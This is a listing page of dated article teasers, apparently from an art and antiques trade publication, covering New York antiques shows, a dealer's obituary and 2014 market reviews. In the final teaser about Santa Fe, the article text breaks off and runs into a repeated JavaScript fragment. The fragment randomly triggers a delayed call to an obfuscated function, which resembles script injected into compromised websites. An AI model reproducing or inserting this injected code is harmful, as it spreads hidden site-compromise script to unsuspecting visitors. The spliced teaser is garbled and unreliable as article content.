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January 28, 2015NEW YORK CITY — As New York braced for a storm of potentially crippling proportions, the metropolis’s premier antiques show cruised smoothly to the conclusion of a successful opening weekend. The 61st...
January 28, 2015NEW YORK CITY – A collection of painted illustrations used for the covers of cheap throwaway fiction published in Mexico in the 1960s and 1970s, Mexican pulp covers celebrate sex but throw in sci-fi...-
January 28, 2015Didn’t make it into New York in time? You can still shop The NY Ceramics & Glass Fair, Metro Curates, and The Art, Design & Antiques Show and The Winter Antiques Show which will remain open at...
January 23, 2015MARIETTA, PENN. – For many years we pursued Harry B. Hartman, who died suddenly on January 3 at 84, for an interview. For years he demurred. His refusal seemed reasonable, mostly. Though never short...
January 22, 2015Plan your trip to New York during one of the most incredible weeks for art and antiques all year with our calendar of events.
January 21, 20152014 Year in Review Take a look back at a sampling of the best from sales across the Art and Antiques markets in 2014.
January 20, 2015The only thing that can be said about the art market – Contemporary sizzled throughout the year, especially in Manhattan. In the Contemporary marketplace a Francis Bacon triptych, “Three Studies...
January 16, 2015NEW YORK CITY — In Very Rich & Handsome: American Neo-Classical Decorative Arts, the catalog to the exhibition of the same name at Hirschl & Adler Galleries through February 13,
January 16, 20152014 was a very good year for Asian items, especially those originating from China. Record prices were routinely broken, and then broken again throughout the year. Here are a few highlights…
January 13, 2015By: Laura Beach MARIETTA, PENN. — For many years we pursued Harry B. Hartman, who died suddenly on January 3 at 84, for an interview. For years he demurred. His refusal seemed reasonable, mostly....
January 6, 2015RICHMOND, VA. — From January 29 through April 3, the University of Richmond Museums will show the exhibition “Garry Winogrand, Family Intimacies: Photographs from the Adrienne Judith Lubeau-Winogrand...-
December 30, 2014By: Laura Beach SANTA FE, N.M. — New technology, changing tastes andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var...
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